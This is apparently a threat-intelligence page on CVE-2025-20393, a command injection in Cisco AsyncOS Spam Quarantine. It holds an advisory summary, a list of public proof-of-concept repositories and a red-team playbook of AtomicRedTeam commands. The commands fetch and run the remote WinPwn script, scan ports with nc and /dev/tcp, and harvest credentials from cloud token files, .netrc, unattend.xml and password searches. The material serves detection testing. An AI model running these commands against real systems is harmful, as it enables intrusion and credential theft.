CVE-2025-20393
Overview
This vulnerability is a command injection flaw caused by insufficient validation of HTTP requests processed by the Spam Quarantine feature in Cisco AsyncOS Software. The root cause lies in the improper sanitization of input parameters within the HTTP request handling logic, allowing crafted requests to reach system-level command execution functions. The affected component is the Spam Quarantine feature of Cisco Secure Email Gateway and Cisco Secure Email and Web Manager running AsyncOS.
Vulnerability Description
A vulnerability in the Spam Quarantine feature of Cisco AsyncOS Software for Cisco Secure Email Gateway and Cisco Secure Email and Web Manager could allow an unauthenticated, remote attacker to execute arbitrary system commands on an affected device with root privileges. This vulnerability is due to insufficient validation of HTTP requests by the Spam Quarantine feature. An attacker could exploit this vulnerability by sending a crafted HTTP request to the affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with root privileges.
Impact
An unauthenticated remote attacker can execute arbitrary system commands with root privileges on the affected device by exploiting this vulnerability. No authentication or user interaction is required to exploit the flaw. Successful exploitation results in full system compromise, enabling control over the underlying operating system, which may lead to data breaches, disruption of email services, and lateral movement within the network environment.
Solution
Cisco has released an advisory (cisco-sa-sma-attack-N9bf4) providing detailed patch instructions and mitigation guidance for Cisco Secure Email Gateway and Cisco Secure Email and Web Manager running AsyncOS. Administrators should apply the updated AsyncOS software versions as specified in the advisory to remediate this vulnerability. Refer to the Cisco Security Advisory at https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sma-attack-N9bf4 for exact patch versions and deployment recommendations.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability present in the Spam Quarantine feature of Cisco AsyncOS Software for Cisco Secure Email Gateway and Cisco Secure Email and Web Manager is a critical security flaw that stems from inadequate validation of HTTP requests. This weakness allows unauthenticated remote attackers to send specially crafted HTTP requests to the affected devices. By exploiting this vulnerability, an attacker can execute arbitrary system commands with root privileges, thereby gaining full control over the underlying operating system. The lack of stringent input validation mechanisms in the Spam Quarantine feature creates a significant attack surface, making it easier for malicious actors to manipulate the system.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage social engineering techniques to trick users into interacting with malicious links that trigger the crafted HTTP requests. Alternatively, automated scripts could be deployed to scan for vulnerable devices within a network, allowing attackers to exploit the vulnerability without any user interaction. Once the crafted request is sent, the attacker could execute commands that could lead to data exfiltration, system manipulation, or the installation of backdoors for persistent access. The potential for remote command execution poses a severe threat, as it can be executed from anywhere in the world, making it difficult to trace the source of the attack.
The real-world impact of this vulnerability is profound, particularly for organizations relying on Cisco's email security solutions. A successful exploit could lead to unauthorized access to sensitive data, compromise of internal systems, and disruption of business operations. The ability to execute arbitrary commands with root privileges means that attackers could manipulate system configurations, disable security features, or even pivot to other systems within the network. This level of access not only jeopardizes the integrity and confidentiality of organizational data but also exposes the organization to regulatory penalties and reputational damage. The financial implications of such a breach could be substantial, encompassing costs related to incident response, remediation, and potential legal liabilities.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching the affected Cisco AsyncOS Software is crucial in closing the security gap. Organizations should also employ intrusion detection and prevention systems (IDPS) to monitor for unusual HTTP requests that may indicate exploitation attempts. Additionally, network segmentation can limit the potential impact of an exploit by isolating critical systems from less secure environments. Educating employees about the risks of phishing and social engineering can further reduce the likelihood of successful exploitation.
In conclusion, the vulnerability in the Spam Quarantine feature of Cisco AsyncOS Software represents a significant threat to organizations utilizing these email security solutions. The potential for remote command execution with root privileges underscores the need for immediate attention and action. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against such threats. Implementing robust detection and mitigation strategies will be essential in safeguarding sensitive data and maintaining the integrity of business operations in an increasingly hostile cyber landscape.
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2025-20393, reflected by a significant increase in detection activity and a sharp rise in the Exploit Prediction Scoring System (EPSS) score. This upward trend signals growing adversary interest and capability to leverage the vulnerability in Cisco Secure Email Gateway and Cisco Secure Email and Web Manager environments. The emergence of multiple new proof-of-concept tools on public repositories further lowers the barrier for threat actors to conduct reconnaissance and exploitation. Although no confirmed ransomware campaigns have been linked to this vulnerability, the association with the Akira group underscores the potential for future integration into targeted attack frameworks. For defenders, this evolving landscape heightens the urgency to enhance monitoring and incident response readiness, as the risk of successful remote command execution with root privileges becomes increasingly imminent. Consequently, the threat level for CVE-2025-20393 has escalated from a theoretical concern to an actively exploited vector, demanding prioritized attention within organizational security postures.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Asyncos | All |
cpe:2.3:o:cisco:asyncos:*:*:*:*:*:*:*:*
|
|
|
Cisco | Asyncos | All |
cpe:2.3:o:cisco:asyncos:*:*:*:*:*:*:*:*
|
|
|
Cisco | Asyncos | All |
cpe:2.3:o:cisco:asyncos:*:*:*:*:*:*:*:*
|
|
|
Cisco | Asyncos | All |
cpe:2.3:o:cisco:asyncos:*:*:*:*:*:*:*:*
|
|
|
Cisco | Asyncos | All |
cpe:2.3:o:cisco:asyncos:*:*:*:*:*:*:*:*
|
|
|
Cisco | Asyncos | All |
cpe:2.3:o:cisco:asyncos:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (5)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
StasonJatham/cisco-sa-sma-attack-N9bf4
Script to detect CVE-2025-20393 for Cisco Secure Email Gateway And Cisco Secure Email and Web Manager
|
StasonJatham | 21 | 1 | 2025-12-18 | View |
|
cyberleelawat/CVE-2025-20393
Cisco is aware of a potential vulnerability. Cisco is currently investigating and will update these details a...
|
cyberleelawat | 2 | 0 | 2025-12-18 | View |
|
redpack-kr/Blackash-CVE-2025-20393
CVE-2025-20393
|
redpack-kr | 0 | 0 | 2025-12-28 | View |
|
cyberdudebivash/CYBERDUDEBIVASH-Cisco-AsyncOS-CVE-2025-20393-Scanner
This tool helps identify exposure to CVE-2025-20393 by checking for open TCP/6025 ports, responsive Spam Quarantine inte...
|
cyberdudebivash | 0 | 0 | 2026-01-16 | View |
|
KingHacker353/CVE-2025-20393
|
KingHacker353 | 0 | 0 | 2025-12-18 | View |
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-20393 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sma-attack-N9bf4 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-20393 |